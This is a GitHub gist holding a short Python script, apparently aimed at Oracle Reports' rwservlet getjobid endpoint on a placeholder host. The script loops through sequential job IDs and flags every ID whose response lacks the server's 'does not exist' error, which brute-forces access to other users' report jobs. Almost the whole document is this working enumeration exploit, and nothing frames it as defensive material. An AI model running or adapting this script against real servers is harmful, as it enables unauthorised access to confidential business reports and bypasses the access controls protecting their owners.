Skip to content

Instantly share code, notes, and snippets.

@echel0nn
Created November 28, 2019 11:40
Show Gist options
  • Save echel0nn/fbdb03be23963143a749fbd9a48ce022 to your computer and use it in GitHub Desktop.
Save echel0nn/fbdb03be23963143a749fbd9a48ce022 to your computer and use it in GitHub Desktop.
import requests
URL = "http://<REPLACEME>/reports/rwservlet/getjobid<REPLACEME>"
DEF_ERR_STR = "does not exist."
def find():
ID = 0
while True:
URLx = URL.replace("<REPLACEME>", str(ID))
req = requests.get(URLx)
if DEF_ERR_STR not in req.text:
print("[+] found a job with the ID [" + str(ID) + "]")
else:
if ID % 10 == 0:
print(str(ID) + " jobs tested")
ID += 1
if __name__ == "__main__":
find()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment